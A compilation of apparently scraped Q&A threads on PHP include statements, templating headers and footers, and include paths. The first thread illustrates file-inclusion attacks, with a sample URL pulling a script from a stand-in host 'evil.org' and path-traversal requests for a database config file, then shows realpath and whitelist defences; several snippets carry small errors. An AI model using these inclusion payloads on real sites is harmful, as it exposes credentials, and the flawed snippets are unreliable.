How to make filename include variable depending on $_GET php - php

To include php code in a file we do:
<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<?php include 'body.php'; ?>
</body>
</html>
Now I would like to include a file, the name will be passed in the url, so for example I wouldc do www.site.com/file.php?name_of_file_to_include=body to load body.php in the file:
<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<?
$file=$_GET["name_of_file_to_include"];
include $file.'.php';
?>
</body>
</html>
Is this possible or Is it a better option to do this thing. The purpose to do so is because I will change only a part of the file, but there are lots of files I want to load

It is possible of course. I would make sure, that $_GET["name_of_file_to_include"] **does not contain a remote url. Otherewise your script is higly vulnerable against remote script injection.
Imagine the attacke prepares an url like :
index.php?name_of_the_file_to_include=http://evil.org/my
On his server he has stored a file named my.php:
foreach(get_defined_vars() as $var) {
var_dump($var);
}
This script would run directly in the context of your application and would the let see your db config and so on.
So make sure that you prepend at least a path before the include to prevent form remote script injection. Like this:
include './' . $file.'.php';
However this isn't safe enough as the attacker will still being able to execute code that is already on your system. Maybe a php file which is otherwise restricted. So you should make sure that the path is insight your content folder:
// realpath will remove all '/..' from path:
$path = realpath('./sites/' . $_GET['file_to_include'] . '.php');
// if the file does not exists realpath returns false
if(!$path) {
die('error');
}
// check if the path starts exactly with your site path
if(strpos($path, realpath('./sites')) !== 0) {
die('error');
}
// we are safe now:
include $path;

You can do it exactly like you are showing... but you shouldn't
include will include anything and parse out php and show everything else, this makes it so that anyone can get at anything on your system that's accessible to the webserver.
Imagine if you had a database_config.ini right outside of the webroot (you put it there so no one on the web can see what your database password is.)
i could slug in http://www.yoursite.com/file.php?name_of_file_to_include=../database_config.ini and now I know how to access your database.
A better approach for this problem is to create a whitelist of pages and include files
$pages = array(
"body"="body.php",
"aboutme"=>"aboutme.php"
);
and then use:
$page = $_GET["name_of_file_to_include"];
if (array_key_exists($page, $pages)){
include ($pages[$page]);
}

Yes! But be sure to specify the base path using
__DIR__
as such:
//Include the requested file
$file = __DIR__ . $_GET['file_name'] . ".php";
if(file_exists($file ))
include($file);

It is possible, but opens up a massive security hole.
Just imagine if someone were to request www.site.com/file.php?name_of_file_to_include=/root/secret_password_file (assuming you store your important data in secret_password_file.php in /root).
It sounds like you want some form of templating system. There are many ways this can be achieved—some more sophisticated than others. Probably the simplest approach for you would be to forget about including the page content; instead, consider including the header and footer into the content pages.
Imagine header.php looks like:
<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>
and footer.php looks like:
</body>
</html>
Now you can include them both into every content page. For example, body.php might look like:
<?php
include 'header.php';
<div>
... content here ...
</div>
include 'footer.php';
This achieves the same effect, without allowing random web users to request any file from your server.

As my comment stated, I would do it the opposite way. Make your header information within a file that you include into all of your pages. How I've done it (And how all templators do it) is simple:
Have a header.php stored somewhere on your server which contains everything in the header excluding the </head> tag. This way, you can include this file into any page and still add link relations and scripts. For example, this would be an index.php or something like that.
<?PHP
include("folder/header.php");
?>
<!-- ADD ADDITIONAL SCRIPTS AND STYLES HERE -->
<!-- END ADDITIONAL STUFF -->
<title></title>
</head>
<body>
<!-- YOUR CONTENT HERE -->
</body>
</html>
This way, you have the same formatted pieces (Like your header or any other pieces) and the URL would be something like www.domain.com/index.php or www.domain.com/page.php. You are also avoiding the SECURITY RISK of "Getting" a file

Related

How can i add a .php link in my html file

Basically i have a php script that i use to log requests on my website.(ip/browser, etc) which is log.php, how can i include the log.php in my index.html so every time someone visits my website they also get "logged"? I have tried a couple of things and its way off than what i want to do.
Basically i want to include domain.com/log.php on my main page..
I tried so many things so far and nothing has worked, i think its really really simple but i can't make it work.
Any help is highly appreciated.
Sorry for my bad english, not my first language. I hope you can understand what i mean.
The include statement takes all the text/code/markup that exists in the specified file and copies it into the file that uses the include statement.
Here's an example:
<HTML>
<head></head>
<body>
<h1>Welcome to this page!</h1>
<p>Some text.</p>
<?php include ('footer.php'); ?>
</body>
</html>
You can really execute a php code in a html file, what you can do is create a php file called index.php from there create add your code 'logging' code and then render the content of your page.
example index.php
<?php
// your code for logging the request
echo <html>...</html>
?>

PHP to build HTML

Currently I am building a website in which I am trying to have one location (e.g. header.html or header.txt) to edit content on multiple pages (e.g. each page has the header). I assumed I could easily do this using PHP, importing the html code into the pages using
<?php
echo file_get_contents("header.txt");
// or echo file_get_html("header.html");
?>
Does not seem to be working. Any suggestions on how to do this? I want to be able to edit the header across all pages from one location.
Take care!
EDIT: Okay so I think I am making a simple mistake that prevents the php to run. Just to lay out what I have and what I want to do:
1: I have a piece of code that represents the header that I want to include on multiple pages. This is currently saved in a header.html file.
2: I have a webpage saved as trial.html where I am trying to place that piece of code using php.
Am I forgetting something?
You are making it too complicated:
<?php
require_once('header.php');
It does not matter if header.php contains just html, just php, or some mix of both.
Use PHP files, no plain html or txt because PHP can be protected to prevent directly access, include more parameters and your project can be more modular.
When you include(or require) php files, those are included in the main file before page loads (server side), so you can have more variables in it.
header.php
<?php
echo '<title>Welcome</title>';
body.php
<?php
echo '<h1>Hellow world!</h1>';
$custom_page = 'page 01';
footer.php
<?php
echo '<p>My site footer for ' . $custom_page . '</p>';
index.php
<?php
// debug errors
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Note: __DIR__ is absolute path for current file (index.php)
// if you have to go up one dir:
// include_once __DIR__ . '/../your_file.php';
// if you have to go down one dir:
// include_once __DIR__ . '/subdir/your_file.php';
/* more code */
?>
<html>
<header>
<?php include_once __DIR__ . '/header.php'; ?>
</header>
<body>
<?php include_once __DIR__ . '/body.php'; ?>
<?php include_once __DIR__ . '/footer.php'; ?>
</body>
</html>
Rendered HTML for index.php
<html>
<header>
<title>Welcome</title>
</header>
<body>
<h1>Hellow world!</h1>
<p>My site footer for page 01</p>
</body>
</html>
Recommended reading first page on google result:
PHP Getting Started
How To Start Programming
Getting Started With PHP: Basic Scripts
Problem ended up being in the path towards the file I wanted to include, as well as a multitude of other issues:
header.html -> header.php
index.html (page) -> index.php
get_contents -> include
include('/path/file') -> include 'path/file'
add set_include_path($_SERVER['DOCUMENT_ROOT']);
Thanks everybody for you input!

PHP program flow with multiple queries and arrays? [duplicate]

I'm looking for advice on the best practice for separating site content up into logical blocks. I want a header and footer that are constant throughout the site, so that if I have several pages of different content, they will all look as below — changes made to the header and footer then update automatically without me having to change each individual page.
<?php
include 'header.php';
?>
<body>
<p>page content here</p>
</body>
<?
include 'footer.php';
?>
The header.php would contain the opening <html>, <head> and static content, and the footer.php would contain any extra static content and the closing </html> tag. So, my question is: Is this a good approach? I'm worried that spreading the <html> tags across multiple files is bad practice. If so, what is the right way to approach this kind of design?
Nope, your approach is wrong.
Here are main faults in your design:
You're assuming that header.php would be called on the every page call. That's wrong.
You're assuming that header.php will always be static. That's wrong.
You forgot to create a template for the page itself.
The main rule everyone have to learn by heart:
Not a single character has to be sent into browser, until all data gets ready.
Why?
it's 2011 today. AJAX era. What if your code will have to send JSONed data instead of whole HTML page?
there is a thing called HTTP header. Sometimes we have to send them. And it's gets impossible if you already have your ornate HTML header sent.
it's for just 4-page site. Okay. Imagine you've got lucky and got a request for another 4-page site. You will have to change only templates and don't touch engine files. That's really great benefit.
Imagine you're going to make a custom <title> tag for your pages, based on the page content. Isn't it extremely common thing? But you can't make it without using templates.
So, you have to have one common site template containing header and footer and also dedicated templates for the every php script.
An example layout is going to be like this:
.1. page itself.
it outputs nothing but only gather required data and calls a template:
<?php
//include our settings, connect to database etc.
include dirname($_SERVER['DOCUMENT_ROOT']).'/cfg/settings.php';
//getting required data
$DATA=dbgetarr("SELECT * FROM links");
$pagetitle = "Links to friend sites";
//etc
//and then call a template:
$tpl = "links.tpl.php";
include "template.php";
?>
.2. template.php which is your main site template,
consists of your header and footer:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>My site. <?=$pagetitle?></title>
</head>
<body>
<div id="page">
<?php include $tpl ?>
</div>
</body>
</html>
.3. and finally links.tpl.php is the actual page template:
<h2><?=$pagetitle?></h2>
<ul>
<?php foreach($DATA as $row): ?>
<li><?=$row['name']?></li>
<?php endforeach ?>
<ul>
easy, clean and maintainable.
In building off of Your Common Sense's answer, there's not a good reason to have 2 files for every page. You can easily combine your template (YCS called this .tpl.php) and your actual page into one file.
First, start off with a class that you can expand as your template needs expand:
<?php
#lib/PageTemplate.php
class PageTemplate {
public $PageTitle;
public $ContentHead;
public $ContentBody;
}
Then, make your layout:
<?php
# layout.php
require_once('lib/PageTemplate.php');
?>
<!DOCTYPE HTML>
<html>
<head>
<title><?php if(isset($TPL->PageTitle)) { echo $TPL->PageTitle; } ?></title>
<?php if(isset($TPL->ContentHead)) { include $TPL->ContentHead; } ?>
</head>
<body>
<div id="content">
<?php if(isset($TPL->ContentBody)) { include $TPL->ContentBody; } ?>
</div>
</body>
</html>
And finally, add your page with the body content:
<?php
#Hello.php
require_once('lib/PageTemplate.php');
# trick to execute 1st time, but not 2nd so you don't have an inf loop
if (!isset($TPL)) {
$TPL = new PageTemplate();
$TPL->PageTitle = "My Title";
$TPL->ContentBody = __FILE__;
include "layout.php";
exit;
}
?>
<p><?php echo "Hello!"; ?></p>
This is a basic approach but, yeah, it does work :) I sure would bother with a lot of templating and OOP but you are definitely on the right path
As i can't comment anymore, then i will answer here ;) If he need a custom title then he needs some more advanced functions. So, as i told, this is a basic approach. But in the end, if he really have a static header/footer, and really use them everywhere, well, yes, this is a good way to go.
So ofc you could bother with some advanced headers with parameters you could feed on each page. You could go on a whole MVC stuff. In the end just tell him to use a pre-made framework and stop bothering. How could he learn if you don't let him do some trial and error ?
index.php -- includes header, footer, and content based on REQUEST variable.
header.php -- header content
footer.php -- footer content
content1.php, content2.php, etc.
index.php:
<?php
include ('header.php');
// VERY IMPORTANT - do not use the GET variable directly like this
// make sure to filter it through a white-list
include(basename($_GET['page']).'.php');
include ('footer.php');
?>
if you want the URL to go www.domain.com/pagename where the page you're trying to load into index.php is "pagename", use HTACCESS and do some URL Rewriting: http://corz.org/serv/tricks/htaccess2.php

PHP - Main file wont include header

I'm trying to make a website and to reuse as much code as possible. I'm using the PHP include statement, but it won't seem to work for me. At the moment I'm only trying to get it to work with the header but I will be doing the same with the nav menu and a footer. I'm only new enough to HTML and have only started learning the include part of PHP today so any help is appreciated. The header file is in an 'includes' folder which is contained in the main website folder. Thanks.
<body>
<?php include"Includes/Header.php";?>
<div class="container-fluid">
<div id="menu">
<ul id="menu">
<li>Home</li>
<li>Our Products</li>
<li>Our Brands</li>
<li>Contact Us</li>
</ul>
</div>
</div>
<div id="img1">
<img src="lasange.jpg" alt="lasange">
</div>
</body>
Header Code
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://cdnjs.cloudflare.com/ajax/libs/font- awesome/4.4.0/css/font-awesome.min.css">
<link rel="stylesheet" type="text/css" href="NewHomepageStyleSheet.css">
</head>
<body>
<div id="toplocation">
<i class="fa fa-fax"></i>
(01)-8393790&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<i class="fa fa-map- marker">&nbsp Unit 10,11,12, Baldoyle Industrial Estate, Dublin 13, Ireland</a> </i>
</div>
</body>
</html>
Try this but make sure this below code must be written in php file:
<body>
<?php include("Includes/Header.php"); ?> // or
<?php require("Includes/Header.php"); ?>
<div class="container-fluid">
<div id="menu">
<ul id="menu">
<li>Home</li>
<li>Our Products</li>
<li>Our Brands</li>
<li>Contact Us</li>
</ul>
</div>
</div>
<div id="img1">
<img src="lasange.jpg" alt="lasange">
</div>
</body>
Because your page requires the header, change include to require. This will force PHP to throw an error when it doesn't find the file (instead of just ignoring and proceeding). The text of the error will be the key
My bet is that your path is not correct. If you use a relative path, it must be relative to the file with the include statement itself, not relative to the main website folder. My advice is to use absolute paths instead.
Finally, while you're in development I suggest that you either enable display errors so you can see error details in the browser, or find out where PHP logs errors so you can check there when something goes wrong.
Putting all of that together, I suggest you replace your include line with:
<?php
error_reporting(E_ALL);
ini_set('display_errors', '1');
require "$_SERVER[DOCUMENT_ROOT]/Includes/Header.php";
?>
This should be a comment, but its getting a bit long....
In terms of structure this is messy (this not about your problem but your approach). The HTML head part should not appear inside the body tags, and frequently you'll find you want to modify the HTTP headers - which requires PHP code before any html output.
Although there's a case for putting self-contained fragments in individual include files, these should be well formed (i.e. open and close tags within the same file).
A better approach is to use functions to output structural elements of the content and invoke these from your page script, in addition to ensuring that your HTML is well formed it also protects you against security vulnerabilities introduced by emitting partial content directly from an include file when its URL is typed directly into a browser.
consider:
<?php
define('BASE_PATH', dirname(__FILE__)); // defining as root for your app simplifies includes
include(BASEPATH . '/pageTemplate.php');
include(BASEPATH . '/menu.php');
?>
<html>
<head>
<title>My demo page</title>
<?php template_required_css_and_js(); ?>
</head>
<body>
<?php template_body_start(); ?>
...
<?php menu(); ?>
...
<?php template_body_end(); ?>
</body>
</html>
(BTW: check '.' is in your php.ini include_path and the permissions on the file allow your webserver to read it. Reading the error log is always a good idea when you have a problem).
This is a collection of points from the comments, all of which are pretty good:
Your syntax could do with having a space: include "file.php";.
Your includes should be treated as case sensitive, on LAMP case sensitivity is a standard. It is a good habit to get into.
Includes need to run on a PHP page, if your page is HTML it will not include anything. PHP can include any page, it doesn't need to always call a PHP page.
Turn on PHP Error logging to check what the reason for the include not displaying is. See PHP Error Displaying.
Be sure that your include file does contain something to output to the browser!
Includes and requires and their _once counterparts are all practically identical in their way they work (there's a shocking number of folks on this question with answers thinking just changing from include to require will make it work, or changing to include_once will make it suddenly work.
The difference with require is that if the call fails then PHP ends the script with an error. Hence the contents included is required (high-hat!).
Directories
Includes typically start from your current working PHP directory, so if you have a file at /home/account/public_html/horses/index.php and you are including a file from the root html directory /home/account/public_html/include.php this can not be reached relatively from the current directory which is /horses/.
To sidestep this whole issue above you should use best practise of including files with an absolute file path, such as using $_SERVER['DOCUMENT_ROOT'] if including files which are within the public website area of your account. If including files from other parts of your account then still give an absolute path but manually, (using a DEFINE or suchlike can help) like : /home/account/extras/include.php
A few examples of each scenario:
Relative path:
include "folder/file.php";
Above: The folder needs to be in the same directory as the file running the include.
include "../parentfolder/folder/file.php";
Above: This will not work. Includes can not change relative directories above the current working directory.
include $_SERVER['DOCUMENT_ROOT']."/folder/file.php";
// reference address: /home/account/public_html/folder/file.php
Above: This include will be displayed from any page on any location of your website, as long as the include is withing the HTML Document Root (typically public_html). I recommend using $_SERVER['DOCUMENT_ROOT'] as the standard way or referencing includes.
define("RootHost","/home/account/secret");
include RootHost."/folder/file.php";
// reference address: /home/account/secret/folder/file.php
The above code would typically be used for including content that is not reachable by the website browser such as being not within your public_html HTML document root folder.
PHP root is not read the same as your standard root. Try replacing your code with this:
include($_SERVER['DOCUMENT_ROOT']."Header.php");
above Solution is right just small change:
<?php include_once("Includes/Header.php"); ?> // or
<?php require_once("Includes/Header.php"); ?>

How to build a conditional include that will run the code depending of the current page?

I have 2 types of header on my website, so instead of creating 2 include files for each type of header, I want to create a single include file with an if/else statement that will display the right type of header to each page.
Here is the code for the "testpage.php":
<?php
$testpage="testpage.php";
$currentpage = $_SERVER['SCRIPT_FILENAME'];
?>
<!DOCTYPE html>
<html>
<head>
<title>testpage</title>
</head>
<body>
<?php include_once('include/header.php'); ?>
</body>
</html>
And here is the code for the include file "header.php":
<?php
if($currentpage==$testpage) {?>
<p>Woaw!!! You are a genius. you should work for NASA</p>
<?php }else{ ?>
<p>this doesn't seem to work. Try something else.</p>
<?php }
?>
So far, I've tried this:
$currentpage = $_SERVER['SCRIPT_FILENAME'];
$currentpage = $_SERVER['PHP_SELF'];
$currentpage = $_SERVER['REQUEST_URI'];
$currentpage = __FILE__;
I've tried on my XAMPP local server, and as well on my "bluehost" live server, and I just cant make it work.
Also, I created a small test on github, to test that, so if you want, you can take a look, here is the link: https://github.com/nobody7/test001
So, please let me know if you have any suggestions, any help will be highly appreciated.
Thanks
From http://www.php.net/manual/en/reserved.variables.server.php
$_SERVER['REQUEST_URI'] is the web address that the user inputted into the address bar minus the hostname and protocol (e.g. a request to http://example.com/my/web/site/123, will return /my/web/site/123), and is usually what people use to differentiate between different pages when using a Front Controller since front controllers mean all requests go through a single php script first.
$_SERVER['PHP_SELF'] and $_SERVER['SCRIPT_FILENAME'] will show the filename of the initial script that you executed, they are pretty much the same thing. SO if you did a request to http://example.com/abc.php those 2 variables will return the filepath to abc.php (e.g. /var/www/abc.php) even if you executed this in an included file, it will show the filepath foe abc.php.
__FILE__ will show the current file you are in, this is similar to the above, but it will show the file path of the file you are currently in even for included files. So if you have a header.php that you have included inside abc.php, and you use __FILE__ inside of header.php, it will return the filepath to header.php. This is probably not what you need.
Your attempts are almost there, but because $_SERVER['SCRIPT_FILENAME'] returns the full path of your file, you need to somehow only get the filename portion of it, luckily there is a built in function for that already basename(). So you only need to change a little bit of your code:
$currentpage = basename($_SERVER['SCRIPT_FILENAME']);

Categories